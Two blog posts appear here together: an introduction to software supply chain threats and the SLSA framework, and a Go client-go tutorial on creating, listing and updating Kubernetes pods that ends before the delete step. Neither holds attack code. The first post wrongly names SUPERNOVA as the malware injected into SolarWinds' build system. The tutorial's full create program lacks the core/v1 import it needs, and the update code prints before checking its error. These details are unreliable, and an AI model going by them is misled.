![](/img/blog/my-journey-to-kubestronaut-on-kubernetes-10th-birthday/f710cca1-701f-41e2-8037-2d9b3df4f675.png align="center")

![](/img/blog/my-journey-to-kubestronaut-on-kubernetes-10th-birthday/38eafb81-44e0-42b2-87ea-bd03aef67edf.png align="center")

![](https://pbs.twimg.com/media/F-HeSmvXYAAxKfX?format=jpg&name=small align="left")

![](https://pbs.twimg.com/media/F1-AF_8WAAIrgez?format=jpg&name=900x900 align="left")

![](https://pbs.twimg.com/media/FzcmSS-XoActdvX?format=jpg&name=small align="left")

![](https://pbs.twimg.com/media/FzNuaMvXoAAhT6n?format=jpg&name=small align="left")

![](https://pbs.twimg.com/media/FyWfPakaUAAUmPa?format=jpg&name=900x900 align="left")

![](https://pbs.twimg.com/media/FyQ2XxjacAAM4Qr?format=jpg&name=900x900 align="left")

---

# Supply Chain Security Using SLSA - Part 1 (Fundamentals)

- Canonical: https://blog.kubesimplify.com/supply-chain-security-using-slsa-part-1-fundamentals
- Published: 2024-05-29
- Summary: In this article, we will delve into the fundamental aspects of supply chain security and its increasing significance. 

In December 2020, [SolarWinds](https://www.techtarget.com/whatis/feature/SolarWinds-hack-explained-Everything-you-need-to-know), a prominent IT management company, experienced a significant cyberattack. Hackers breached SolarWinds' software build system and and injected malicious code, known as **SUPERNOVA malware**, into their [Orion software platform](https://www.solarwinds.com/orion-platform), which was subsequently distributed to thousands of clients. This attack affected thousands of clients, including prominent U.S. government agencies and Fortune 500 companies, causing widespread data breaches and security concerns.

Unfortunately, this incident is just one example of many similar cyberattacks in recent years, which clearly highlights the critical vulnerabilities present in software supply chains.

As cyber threats continue to evolve and become more “sophisticated”, there is certainly an urgent need for robust supply chain security measures. In response to this increase in cyber threats, both U.S. and EU state officials have responded with regulatory measures aimed at enhancing software supply chain security.

> A Gist from [US Executive Order 14028](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/):
> 
> It mandates federal agencies to implement security best practices and requires software vendors to adhere to rigorous security standards, including the use of a [Software Bill of Materials (SBOM)](https://www.synopsys.com/blogs/software-security/software-bill-of-materials-bom.html) to ensure transparency and integrity in software development

While there are specialized solutions targeting specific threats or vulnerabilities within the supply chain or Software Development Life Cycle (SDLC), these often prove inadequate on their own. [McKinsey's survey](https://www.mckinsey.com/capabilities/operations/our-insights/taking-the-pulse-of-shifting-supply-chains) highlights the limitations of such approaches.

**What we truly need is a comprehensive, end-to-end framework that oversees the entire supply chain!** This framework should define methods to mitigate threats across all stages of the software supply chain and ensure robust security guarantees.

This is where Supply-chain Levels for Software Artifacts (aka SLSA - pronounced "salsa") comes in. [Introduced by Google in 2021](https://security.googleblog.com/2021/06/introducing-slsa-end-to-end-framework.html), SLSA offers a comprehensive framework to enhance the security and integrity of software supply chains. This initiative is now a collaborative effort involving various organizations across the open-source ecosystem. A key contributor is [OpenSSF](https://openssf.org/), a foundation very similar to the [CNCF](https://www.cncf.io/), which supports and provides an open platform for projects aimed at improving the security of open-source software. This helps ensure widespread adoption and continuous improvement.

In this **two-part series on Supply Chain Security using SLSA**, we will delve into the fundamental aspects of supply chain security and its increasing significance. Subsequently, we'll explore the [SLSA framework](https://slsa.dev/) in detail, covering its definition, importance and its pivotal role in today's cybersecurity landscape.

# What is a Software Supply Chain?

If you're new to the concept of a software supply chain, let's start with the fundamentals. **What exactly does the term "supply chain" mean?**

Simply put, a software supply chain is the series of processes, components, and dependencies involved in creating, maintaining, and delivering software products, known as artifacts. These artifacts can include compiled binaries, OCI images, and Helm charts.

Similar to a physical supply chain, where raw materials are transformed into finished goods, a software supply chain involves various stages from development to deployment, with each stage relying on different tools, libraries, and services.

There are some key elements of a modern software supply chain:

* **Source Code -** The raw materials of software. This includes the code written by developers, which can come from multiple sources such as in-house development, open-source projects, or third-party vendors.
    
* **Build Systems -** Tools and processes that compile the source code into executable programs. This stage often involves integrating various libraries and dependencies.
    
* **Dependencies -** The external libraries or modules that software relies on to function. Dependencies can come from open-source projects or commercial vendors.
    
* **Distribution -** The process of delivering the software to end-users, which can include packaging, signing, and distributing through channels such as app stores or direct downloads.
    

[![Source: https://slsa.dev/spec/v1.0/terminology](/img/blog/supply-chain-security-using-slsa-part-1-fundamentals/5f9eed49-a641-42f0-b032-6b570c3fb1aa.png align="center")](https://slsa.dev/spec/v1.0/terminology)

# Importance of Supply Chain Security - Why now?

The important question to ask is - **Why do we need to talk about this now more than ever?**

The fact is that supply chain attacks have surged dramatically in these recent years, making it crucial to focus on security more than ever. See this recent data from the [2023 State of the Software Supply Chain report](https://www.sonatype.com/state-of-the-software-supply-chain/open-source-supply-and-demand):

> In our YoY monitoring, we have logged 245,032 malicious packages — meaning in the last year, we’ve seen the number of malicious packages triple! Looking at it a different way, it also indicates that in one year alone, we’ve seen twice as many supply chain attacks to the cumulative numbers in previous years.
> 
> [![Source: https://www.sonatype.com/state-of-the-software-supply-chain/open-source-supply-and-demand](/img/blog/supply-chain-security-using-slsa-part-1-fundamentals/4975d033-6431-4b7c-83dd-0364e9c249e3.png align="center")](https://www.sonatype.com/state-of-the-software-supply-chain/open-source-supply-and-demand)

**This is certainly an alarming news and the pace of growth is astonishing!** The data clearly shows that the modern software supply chain is becoming one of the fastest growing vectors for attackers to execute malicious code. Such attacks not only puts our digital lives at risk but also damages the reputation and finances of companies affected.

With the [increase in the number of attacks](https://www.sonatype.com/resources/vulnerability-timeline) in the recent years, governments are responding to these threats with new regulations. For instance, the United States’ [Executive Order on Improving the Nation’s Cybersecurity](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/) mandates stringent security practices for software supply chains. Similarly, the [European Union's Cybersecurity Act](https://www.dutchncca.nl/the-cybersecurityact) introduces new certification frameworks aimed at ensuring the security of digital products and services.

These regulatory measures require organizations to adopt comprehensive security protocols to protect their software supply chains.

In light of these developments, it is crucial for organizations to prioritize supply chain security now more than ever.

# OSS Consumes the Software World

As solutions grow in complexity, so does the software supply chain. The complexity of modern software supply chains has grown exponentially, making them more vulnerable to security threats. This increase in complexity arises from various factors, including the widespread use of open-source components, third-party services, and complex build processes.

A major factor for this complexity is particularly attributed to the increasing reliance on open-source software (OSS) in recent years. According to a [report by Sonatype](https://www.sonatype.com/resources/white-paper-state-of-the-software-supply-chain-2020):

> Around 70% to 90% of a contemporary application "stack" comprises pre-existing OSS. From the operating system to the cloud container to the cryptography and networking functions, sometimes up to the very application running the enterprise or website.

While using open-source software offers flexibility and vendor-neutrality, it's essential to acknowledge that security can be a concern. Organizations often rely on OSS to swiftly deliver business value. However, the crucial question we face today is - **How can we securely consume OSS software?**

Despite OSS's generally strong reputation for security, managing products that depend on numerous external dependencies can be challenging. These dependencies often span across various layers, including the operating system, cloud containers, CI/CD tools, and cloud solutions (whether private, public, or hybrid).

This very complexity makes the entire supply chain an appealing target for attackers. By compromising a single point within the supply chain, attackers can potentially affect multiple components simultaneously. This is often easier for them than attacking individual code vulnerabilities, as they can exploit the interconnected nature of the supply chain for a greater impact.

# Threat Points For A Software Supply Chain

**So what are these “threat points” in a software supply chain?** Given the increasing complexity of the supply chain, there are numerous ways unauthorized modifications can be introduced at different stages.

Let's examine these "threat points" using a typical software development lifecycle:

[![Source: https://slsa.dev/spec/v1.0/threats-overview](/img/blog/supply-chain-security-using-slsa-part-1-fundamentals/4fbced80-e24d-468c-be1a-85e56770778b.png align="center")](https://slsa.dev/spec/v1.0/threats-overview)

1. **Point A and B - Unauthorized Source Code Submission & Compromised Repo**
    
    At point A, bad or malicious code changes could be submitted to the source code, by gaining access to a developer's account through methods like phishing or stolen credentials. Unauthorized changes means a compromised code repository (point B), which in turn gives attackers the freedom to directly modify the stored code or inject malicious code.
    
    One of the most famous examples of this would be [2018 Gentoo Linux GitHub breach](https://thehackernews.com/2018/06/gentoo-linux-github.html), where attackers replaced the original source code with a malicious one.
    
2. **Point C - Building from Modified Source**
    
    Let’s talk about point C which is - building the artifact from a modified source and this one’s pretty interesting!
    
    As mentioned in one the previous sections, cyberthreats have evolved and become more “sophisticated”. Therefore, even Even if the source code appears to be legitimate, if it’s built from a tampered source, the final software can be compromised.
    
    A very interesting case of this kind of an attack happened in [2021 on PHP’s git repo - `git.php.net`](https://php.watch/news/2021/03/git-php-net-hack). The attackers (impersonating as the project founders) pushed unauthorized changes that were disguised as minor typographical corrections. Although this was caught early by one of the maintainers, we can see how it could have affected countless websites and applications that rely on PHP if it had gone unnoticed!
    
3. **Point D - Compromised Dependencies**
    
    At point D, we are talking about the use of compromised dependencies.
    
    Dependencies remain one of the preferred mechanisms for creating and distributing malicious packages. This is due to the fact that there an entire network of direct and in-direct dependencies used in a project and, injecting even of them with malicious code, can lead to affecting all software that relies on these components.
    
    [![Source: https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html](/img/blog/supply-chain-security-using-slsa-part-1-fundamentals/64c68ec1-9c98-4879-9206-0223d01e7efd.png align="center")](https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html)
    
4. **Point E - Compromised Build Process**
    
    Harmful dependencies can directly affect and compromise the build process (point E). One of most famous examples of this is the [SolarWinds breach in 2020](https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/?ref=blog.gitguardian.com), where attackers inserted malware into the build system, leading to widespread distribution of compromised software.
    
5. **Point G - Public Package Registries**
    
    At point G, we are referring to public package registries that can be targeted, allowing attackers to replace legitimate packages with malicious ones.
    
    An example for this can be the [malicious npm packages](https://www.scmagazine.com/news/github-npm-registry-abused-to-host-ssh-key-stealing-malware) that were discovered recently which aimed to steal credentials and other sensitive information from developers.
    

We can go on here, but the bottom line is - with the increasing complexity of software and the software delivery lifecycle, there are numerous ways in which things can go wrong, potentially leading to critical impacts on both the software and its consumers.

# Closing Thoughts

Already? Yes, indeed! As we conclude Part 1 of our supply chain security series, it's evident that safeguarding software is tough work, but crucial at the same time. The surge in supply chain attacks over recent years underscores the critical importance of prioritizing overall supply chain security.

To help us achieve this goal, we have the [SLSA framework](https://slsa.dev/). In Part 2, we'll delve deeper into SLSA, exploring its significance and how it can serve as our initial step towards fortifying and enhancing our supply chain security.

Keep an eye out for Part 2!

# Credits

Lastly, I would like to extend my heartfelt gratitude to [Rakshit Gondwal](https://x.com/RakshitGondwal) and [Saiyam Pathak](https://x.com/SaiyamPathak) for their invaluable contributions to this blog series 💙

# Resources

* [The Rising Threat of Software Supply Chain Attacks (By Linux Foundation)](https://linuxfoundation.eu/newsroom/the-rising-threat-of-software-supply-chain-attacks-managing-dependencies-of-open-source-projects)
    
* [State of the Software Supply Chain By Sonatype - 9th Edition](https://www.sonatype.com/state-of-the-software-supply-chain/introduction)
    
* [A History of Software Supply Chain Attacks by Sonatype](https://www.sonatype.com/resources/vulnerability-timeline)
    
* [Understanding the Impact of Apache Log4j Vulnerability (Google Blog)](https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html)
    
* [The State of the Software Supply Chain 2022 (By VMware Tanzu)](https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-state-of-software-supply-chain.pdf)
    

Follow Kubesimplify on [Hashnode](https://blog.kubesimplify.com/), [Twitter/X](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify). Join our [Discord server](https://kubesimplify.com/discord) to learn with us!

---

# Perform CRUD Operations on Kubernetes Using Golang

- Canonical: https://blog.kubesimplify.com/perform-crud-operations-on-kubernetes-using-golang
- Published: 2024-04-17
- Summary: A step-by-step guide on performing basic CRUD operations on a Kubernetes resource, using Go as the programming language.

In a [previous article](https://blog.kubesimplify.com/practical-guide-to-kubernetes-api#heading-resources), we learned that Kubernetes essentially is an **API under-the-hood** and every action you take within a Kubernetes cluster, be it the creation of pods or the monitoring of services, boils down to interactions with its API.

We learned that there are [three different ways of interacting with the API](https://blog.kubesimplify.com/practical-guide-to-kubernetes-api#heading-ways-of-accessing-the-api):

1. via `kubectl`
    
2. via simple HTTP requests with `curl`
    
3. using Client Libraries
    

In our previous discussion, we particularly focused on [accessing the Kubernetes API by making simple HTTP requests using the `curl` command](https://blog.kubesimplify.com/practical-guide-to-kubernetes-api#heading-demo-list-all-the-running-pods-in-a-cluster) - which is a practical and a very beginner-friendly way of understanding the API mechanics.

Now, in this article we’ll be taking that concept to a next level and focus on accessing the Kubernetes API programmatically i.e via client libraries.

The aim here is to provide you a step-by-step guide on performing basic **CRUD operations (create, read, update and delete)** on a Kubernetes resource, using Go as the programming language.

# Getting Started - Understanding the Basics

Before we dive into the demo itself, let’s ensure we have the basics firmly in place!

## Familiarity with Kubernetes API Concepts

Throughout the guide, we'll use various terminologies associated with the core Kubernetes API concepts, which were, very conveniently covered in the [previous blog](https://blog.kubesimplify.com/practical-guide-to-kubernetes-api)**(and that too, in-depth)**. If you haven't already, I highly recommend checking that out before moving on with this one.

## Importance of Using Client Libraries

One may ask this question - **Why make things more complicated? Why not just stick to the basic HTTP requests instead of using a client library?**

Thats a valid question to consider and and there are several reasons to why learning and using a client library is essential:

1. **Abstraction of Complexity** - Client libraries abstract away the complexities of direct HTTP communication, offering a simpler way to interact with API.
    
2. **Error Handling** - These libraries typically come with built-in error handling mechanisms. Thus, simplifying the process of dealing with errors and failures when interacting with API **(which is certainly important, right?).**
    
3. **Efficiency** - These libraries often provide optimized methods for common tasks, reducing the amount of code needed and improving overall efficiency. (we’ll get a better idea of this in the upcoming sections)
    
4. **Community Support -** Popular client libraries have a strong community of users who contribute to documentation, provide support, and share best practices - which in turn makes it easier to learn and troubleshoot any issues that may arise during application development.
    

## Exploring `Client-go`

As mentioned previously, we’ll be using the Go programming language to perform basic CRUD operations on a Kubernetes resource via the client library.

Now, the official Go client library used for interacting with Kubernetes clusters is called [client-go](https://github.com/kubernetes/client-go). It provides a set of functions and structures needed to interact with Kubernetes API programmatically, allowing developers to manage resources such as pods, services, deployments, and much more.

The purpose is simple - **to simplify the development of Kubernetes-related applications.** It does this by abstracting away the complexities of working directly with Kubernetes API, providing a more user-friendly interface for Go developers.

One may ask this question here - **“So, we don’t interact with the API when using**`client-go`**?”**

That’s partially correct! When using `client-go`, **we don't interact “directly” with the Kubernetes API endpoints.** Instead, `client-go` provides a layer of abstraction between the us (the developers) and the low-level details of making HTTP requests to those endpoints.

It provides all the necessary set of functions and data structures that developers can use to perform actions on Kubernetes resources (like pods, services, deployments, etc.) without needing to handle the HTTP communication themselves.

# Demo - CRUD Operations on Pod

To keep things simple, we'll be performing the basic CRUD operations on a Pod:

* **Creating a Pod.**
    
* **Retrieving all the current Pods in the cluster.**
    
* **Updating an existing Pod.**
    
* **Deleting an existing Pod.**
    

## Prerequisites

Before we begin with the development, here are a few things you’ll need:

* [kubectl](https://kubernetes.io/docs/reference/kubectl/) installed
    
* [Go](https://go.dev/doc/install) installed (latest version)
    
* A Kubernetes cluster (we’ll be using [minikube](https://minikube.sigs.k8s.io/docs/start/) for this tutorial, but feel free to choose any other tool)
    

## Step 1 - Creating a Kubernetes Cluster

Here, we’ll use minikube to bootstrap a **single node Kubernetes cluster** using the following command:

```bash
$ minikube start

😄  minikube v1.32.0 on Darwin 14.4 (arm64)
✨  Using the docker driver based on existing profile
👍  Starting control plane node minikube in cluster minikube
🚜  Pulling base image ...
🔥  Creating docker container (CPUs=2, Memory=7792MB) ...
🐳  Preparing Kubernetes v1.28.3 on Docker 24.0.7 ...
🔗  Configuring bridge CNI (Container Networking Interface) ...
🔎  Verifying Kubernetes components...
    ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
🌟  Enabled addons: storage-provisioner, default-storageclass

...
```

As the cluster creation process finishes, use the following command to check the cluster information:

```bash
$ kubectl cluster-info

Kubernetes control plane is running at https://127.0.0.1:52016
CoreDNS is running at https://127.0.0.1:52016/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
```

## Step 2 - Initial Project Setup

In this step, we’ll be doing the following things:

* Set up the Go project environment
    
* Install the `k8s.io/client-go` module
    

Let us start by creating a new directory for our project and initializing a new Go module (`go.mod`):

```bash
$ mkdir k8s-crud-demo
$ cd k8s-crud-demo
$ go mod init github.com/USERNAME/k8s-crud
```

Now, we can install the `k8s.io/client-go` module using the following command:

```bash
go get k8s.io/client-go@latest
```

This will install the latest version of the `k8s.io/client-go` module, which includes all the necessary packages needed to interact with the Kubernetes API.

## Step 3 - Create a new Kubernetes Client

Before we perform any operations on an existing Kubernetes cluster, we first need to create a new client.

Even if we are using a client library in this scenario, i**t all boils down to the basic client-server communication** and we understood in the previous blog post that, only an authenticated client can make requests to the Kubernetes API.

Therefore, regardless of whether we’re using a client library like `client-go` or not, we need to **establish an authenticated connection** with the Kubernetes API server.

Thankfully, the process here is much simpler than what we did while making HTTP requests, as we’ll directly be using the existing `kubeconfig` file to get the cluster info and create a new client from that.

1. Get the location of the `kubeconfig` file from the system and store that in a variable:
    
    ```go
    home, _ := os.UserHomeDir()
    kubeConfigPath := filepath.Join(home, ".kube/config")
    ```
    
2. Next, we’ll use the `BuildConfigFromFlags()` method from the `k8s.io/client-go/tools/clientcmd` package to create a new client configuration based on the provided `kubeconfig` file:
    
    ```go
    config, err := clientcmd.BuildConfigFromFlags("", kubeConfigPath)
    if err != nil {
        panic(err.Error())
    }
    ```
    
3. At last, we’ll use this configuration to create a new client, using the `k8s.io/client-go/kubernetes` package:
    
    ```go
    client := kubernetes.NewForConfigOrDie(config)
    ```
    

## Step 4 - Retrieving All the Current Pods

Let us start with the most basic operation - **reading and listing down all the current running pods in our Kubernetes cluster.**

> 📍 Note
> 
> Before building the logic for this operation, make sure you already have a few pods running in your newly created cluster to see some output in the end.
> 
> You can use `kubectl` in this case to do so:
> 
> ```bash
> $ kubectl run demo --image=nginx
> 
> pod/demo created
> ```
> 
> In this scenario, I have the following pods running in my cluster:
> 
> ```bash
> $ kubectl get pods
> 
> NAME                           READY   STATUS    RESTARTS     AGE
> demo-crud55wwk                 1/1     Running   1 (6d ago)   6d1h
> demo-nginx                     1/1     Running   1 (6d ago)   6d1h
> go-api-2mwpl                   1/1     Running   2 (6d ago)   6d1h
> test-deploy-859f95ffcc-8p8t8   1/1     Running   8 (6d ago)   18d
> test-deploy-859f95ffcc-fcdld   1/1     Running   8 (6d ago)   18d
> ```

For the logic of retrieving all the running pods in a cluster, paste the following code snippet in your `main.go` file:

```go
// define the namespace
namespace := "default"

// get the Pod interface (easy for later use)
podsClient := client.CoreV1().Pods(namespace)

// read all pods
pods, err := podsClient.List(context.TODO(), metav1.ListOptions{})
if err != nil {
	panic(err.Error())
}
fmt.Printf("There are %d pods in the cluster\n", len(pods.Items))

// loop through pod list to get names
for i, pod := range pods.Items {
	fmt.Printf("Name of %dth pod: %s\n", i, pod.Name)
}
```

A breakdown of the core logic being used is as follows:

* `client.CoreV1().Pods(namespace)` - In the [previous article](https://blog.kubesimplify.com/practical-guide-to-kubernetes-api), we covered that the Kubernetes API resources are divided into different [API Groups and versions](https://blog.kubesimplify.com/practical-guide-to-kubernetes-api#heading-api-groups-and-versions). Now, Pod (a [K8s resource](https://kubernetes.io/docs/reference/using-api/api-concepts/#standard-api-terminology)) is found under the [core group](https://kubernetes.io/docs/reference/using-api/#api-groups), having `v1` as the version.
    
    So, in this line we are first calling the `CoreV1()` function from the `k8s.io/client-go/kubernetes` package which returns a `CoreV1Interface` interface, which is a collection of some embedded interfaces of all the Kubernetes resources that fall under the `core v1` API group:
    
    ```go
    type CoreV1Interface interface {
        RESTClient() rest.Interface
        ComponentStatusesGetter
        ConfigMapsGetter
        EndpointsGetter
        EventsGetter
        LimitRangesGetter
        NamespacesGetter
        NodesGetter
        PersistentVolumesGetter
        PersistentVolumeClaimsGetter
        PodsGetter
    	...
    }
    ```
    
    From here, we are then using the `Pods()` method included in the `PodsGetter` interface, which in turn returns the `PodInterface` interface, which is a collection of methods to work with the Pod resource:
    
    ```go
    type PodInterface interface {
    	Create(ctx context.Context, pod *v1.Pod, opts metav1.CreateOptions) (*v1.Pod, error)
    	Update(ctx context.Context, pod *v1.Pod, opts metav1.UpdateOptions) (*v1.Pod, error)
    	UpdateStatus(ctx context.Context, pod *v1.Pod, opts metav1.UpdateOptions) (*v1.Pod, error)
    	Delete(ctx context.Context, name string, opts metav1.DeleteOptions) error
    	DeleteCollection(ctx context.Context, opts metav1.DeleteOptions, listOpts metav1.ListOptions) error
    	Get(ctx context.Context, name string, opts metav1.GetOptions) (*v1.Pod, error)
    	...
    }
    ```
    
    > 📍 Note
    > 
    > Going forward, we’ll be using the methods listed in the `PodInterface` interface to perform all the CRUD operations.
    
* `podsClient.List(…)` - **This one’s simple to understand!** Here, we use the `List()` method defined under the `PodInterface` interface, which returns a `PodList` struct. The `PodList` struct represents a list of Kubernetes pods.
    
    ```go
    type PodList struct {
    	metav1.TypeMeta `json:",inline"`
    	// Standard list metadata.
    	// More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
    	// +optional
    	metav1.ListMeta `json:"metadata,omitempty" protobuf:"bytes,1,opt,name=metadata"`
    
    	// List of pods.
    	// More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md
    	Items []Pod `json:"items" protobuf:"bytes,2,rep,name=items"`
    }
    ```
    
    The **Items field** represents a slice of `Pod` objects and that is what we accessed using `pods.Items` in the next set of lines.
    

Here’s the complete code for the read operation, along with the output after execution:

```go
package main

import (
	"context"
	"fmt"
	"os"
	"path/filepath"

	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
	"k8s.io/client-go/kubernetes"
	"k8s.io/client-go/tools/clientcmd"
)

func main() {

	// get kubeconfig
	home, _ := os.UserHomeDir()
	kubeConfigPath := filepath.Join(home, ".kube/config")

	// use the current context in kubeconfig
	config, err := clientcmd.BuildConfigFromFlags("", kubeConfigPath)
	if err != nil {
		panic(err.Error())
	}

	// create a new client
	client := kubernetes.NewForConfigOrDie(config)

	// define the namespace
	namespace := "default"

	// define the pods client (easy for later use)
	podsClient := client.CoreV1().Pods(namespace)

	// read all pods
	pods, err := podsClient.List(context.TODO(), metav1.ListOptions{})
	if err != nil {
		panic(err.Error())
	}
	fmt.Printf("There are %d pods in the cluster\n", len(pods.Items))

	for i, pod := range pods.Items {
		fmt.Printf("Name of %dth pod: %s\n", i, pod.Name)
	}
}
```

![](/img/blog/perform-crud-operations-on-kubernetes-using-golang/ff26a7dc-fb37-4953-9764-6197544084b5.png align="center")

> 💡 If you’re a beginner in the Go programming language, one thing you certainly might have noticed is, a lot of the parts of the `client-go` library that we’ll be using, are interconnected in some way.
> 
> Interfaces contains some other interfaces, which may contain some different types or structs, which may contain some methods and so on.
> 
> A nice hack to see the interface/struct/method signatures in order to understand their connections, is to use `cmd + click` or `win + click` feature in editors like VSCode, which leads you to that specific interface/struct/method and then, you can understand how its all connected.
> 
> ![](/img/blog/perform-crud-operations-on-kubernetes-using-golang/3a6370a5-14b1-47b5-8b36-f94e275d3401.png align="center")

## Step 5 - Create a Pod

Now, when it comes to **creating a new Pod**, there are two main things we need to define:

1. **A pod definition** - giving details such as Pod name, container name, container image etc.
    
2. Creating the Pod using the specified **Pod definition**.
    

Below is the code snippet to define a new pod definition:

```go
    podDefintion := &v1.Pod{
		ObjectMeta: metav1.ObjectMeta{
			GenerateName: "demo-k8s-",
			Namespace:    "default",
		},
		Spec: v1.PodSpec{
			Containers: []v1.Container{
				{
					Name:  "nginx-container",
					Image: "nginx:latest",
				},
			},
		},
	}
```

A breakdown of the core logic being used is as follows:

* `&v1.Pod{}` - here, we are accessing the `Pod` struct which is from the `k8s.io/api/core/v1` package. The signature of the struct looks like this:
    
    ```go
    type Pod struct {
    	metav1.TypeMeta `json:",inline"`
    	// Standard object's metadata.
    	// More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
    	// +optional
    	metav1.ObjectMeta `json:"metadata,omitempty" protobuf:"bytes,1,opt,name=metadata"`
    
    	// Specification of the desired behavior of the pod.
    	// More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
    	// +optional
    	Spec PodSpec `json:"spec,omitempty" protobuf:"bytes,2,opt,name=spec"`
    
    	// Most recently observed status of the pod.
    	// This data may not be up to date.
    	// Populated by the system.
    	// Read-only.
    	// More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
    	// +optional
    	Status PodStatus `json:"status,omitempty" protobuf:"bytes,3,opt,name=status"`
    }
    ```
    
    Its important to note that, the fields mentioned in this struct are themselves structs, which have their own fields and those are the ones which we are actually using.
    
    For instance, the `ObjectMeta` struct from the `metav1` package contains the following fields, which we have used in our implementation:
    
    ```go
    type ObjectMeta struct {
    
    	GenerateName string `json:"generateName,omitempty" protobuf:"bytes,2,opt,name=generateName"`
    	Namespace string `json:"namespace,omitempty" protobuf:"bytes,3,opt,name=namespace"`
    	
    	...
    }
    ```
    

After defining the pod definition, we’ll use the `Create()` method (from the `PodInterface` - learned above) to create a new Pod, based on the pod definition:

```go
newPod, err := podsClient.Create(context.TODO(), podDefintion, metav1.CreateOptions{})
if err != nil {
    panic(err.Error())
}
fmt.Printf("Pod '%s' is created!", newPod.Name)
```

Here’s the complete code for the create operation, along with the output after execution:

```go
package main

import (
	"context"
	"fmt"
	"os"
	"path/filepath"

	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
	"k8s.io/client-go/kubernetes"
	"k8s.io/client-go/tools/clientcmd"
)

func main() {

	// get kubeconfig
	home, _ := os.UserHomeDir()
	kubeConfigPath := filepath.Join(home, ".kube/config")

	// use the current context in kubeconfig
	config, err := clientcmd.BuildConfigFromFlags("", kubeConfigPath)
	if err != nil {
		panic(err.Error())
	}

	// create a new client
	client := kubernetes.NewForConfigOrDie(config)

	// define the namespace
	namespace := "default"

	// define the pods client (easy for later use)
	podsClient := client.CoreV1().Pods(namespace)

	// create a pod defintion
	podDefintion := &v1.Pod{
		ObjectMeta: metav1.ObjectMeta{
			GenerateName: "demo-k8s-",
			Namespace:    "default",
		},
		Spec: v1.PodSpec{
			Containers: []v1.Container{
				{
					Name:  "nginx-container",
					Image: "nginx:latest",
				},
			},
		},
	}
	
	// create a new pod
	newPod, err := podsClient.Create(context.TODO(), podDefintion, metav1.CreateOptions{})
	if err != nil {
		panic(err.Error())
	}
	fmt.Printf("Pod '%s' is created!", newPod.Name)
}
```

![](/img/blog/perform-crud-operations-on-kubernetes-using-golang/625820f1-9c4e-4b25-b527-ed6966af3d52.png align="center")

## Step 6 - Update an Existing Pod

Alright, let us say - we wish to change the **container image version** of the new pod we create in the above step i.e. `demo-k8s-7p7w9` (in my case).

The current container image being used by the pod can be found using the following command:

```bash
$ kubectl describe pod demo-k8s-7p7w9

...
Containers:
  nginx-container:
    Container ID:   docker://f6a20de83befe78916136b425b7354fcc09bc6436de06efb7abb9fa25b260998
    Image:          nginx:latest
    Image ID:       docker-pullable://nginx@sha256:6db391d1c0cfb30588ba0bf72ea999404f2764febf0f1f196acd5867ac7efa7e
    Port:           <none>
    Host Port:      <none>
    State:          Running
...
```

Below is the code snippet to update the image version of this specific pod:

```go
	fmt.Println("Updating pod...")
	retryErr := retry.RetryOnConflict(retry.DefaultRetry, func() error {

		// retrive the latest pod
		currentPod, updateErr := podsClient.Get(context.TODO(), "demo-k8s-7p7w9", metav1.GetOptions{})
		if updateErr != nil {
			panic(updateErr.Error())
		}

		// change container image
		currentPod.Spec.Containers[0].Image = "nginx:1.25.4"

		// update pod
		updatedPod, updateErr := podsClient.Update(context.TODO(), currentPod, metav1.UpdateOptions{})
		fmt.Printf("Updated pod: %s", updatedPod.Name)
		return updateErr
	})
	if retryErr != nil {
		panic(retryErr.Error())
	}
```

A breakdown of the core logic being used is as follows:

* Here, we are mainly using the `Get()` and the `Update()` method from the `PodInterface` interface to first get the information about that specific pod, and then update the container image field with a new image version - in this case, from `nginx:latest` to `nginx:1.25.4`.
    
* `retry.RetryOnConflict()` - This one’s interesting, because we are enclosing the entire update operation inside this.
    
    Here, we are using the `RetryOnConflict()` method from the `k8s.io/client-go/util/retry` package, which is designed to handle conflicts that may occur when attempting to update a Kubernetes resource.
    
    **In a distributed system like Kubernetes, conflicts can arise when multiple clients attempt to modify the same resource simultaneously.** In that case, the `RetryOnConflict()` function implements a retry mechanism that retries the provided operation (in this case, the pod update operation) if a conflict error occurs.
    
    You can find more details about the `retry` package in the [documentation](https://pkg.go.dev/k8s.io/client-go/util/retry).
    

Here’s the complete code for the update operation, along with the output after execution:

```go
package main

import (
	"context"
	"fmt"
	"os"
	"path/filepath"

	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
	"k8s.io/client-go/kubernetes"
	"k8s.io/client-go/tools/clientcmd"
	"k8s.io/client-go/util/retry"
)

func main() {

	// get kubeconfig
	home, _ := os.UserHomeDir()
	kubeConfigPath := filepath.Join(home, ".kube/config")

	// use the current context in kubeconfig
	config, err := clientcmd.BuildConfigFromFlags("", kubeConfigPath)
	if err != nil {
		panic(err.Error())
	}

	// create a new client
	client := kubernetes.NewForConfigOrDie(config)

	// define the namespace
	namespace := "default"

	// define the pods client (easy for later use)
	podsClient := client.CoreV1().Pods(namespace)

	// update a pod
	fmt.Println("Updating pod...")
	retryErr := retry.RetryOnConflict(retry.DefaultRetry, func() error {

		// retrive the latest pod
		currentPod, updateErr := podsClient.Get(context.TODO(), "demo-k8s-7p7w9", metav1.GetOptions{})
		if updateErr != nil {
			panic(updateErr.Error())
		}

		// change container image
		currentPod.Spec.Containers[0].Image = "nginx:1.25.4"

		// update pod
		updatedPod, updateErr := podsClient.Update(context.TODO(), currentPod, metav1.UpdateOptions{})
		fmt.Printf("Updated pod: %s", updatedPod.Name)
		return updateErr
	})
	if retryErr != nil {
		panic(retryErr.Error())
	}

}
```

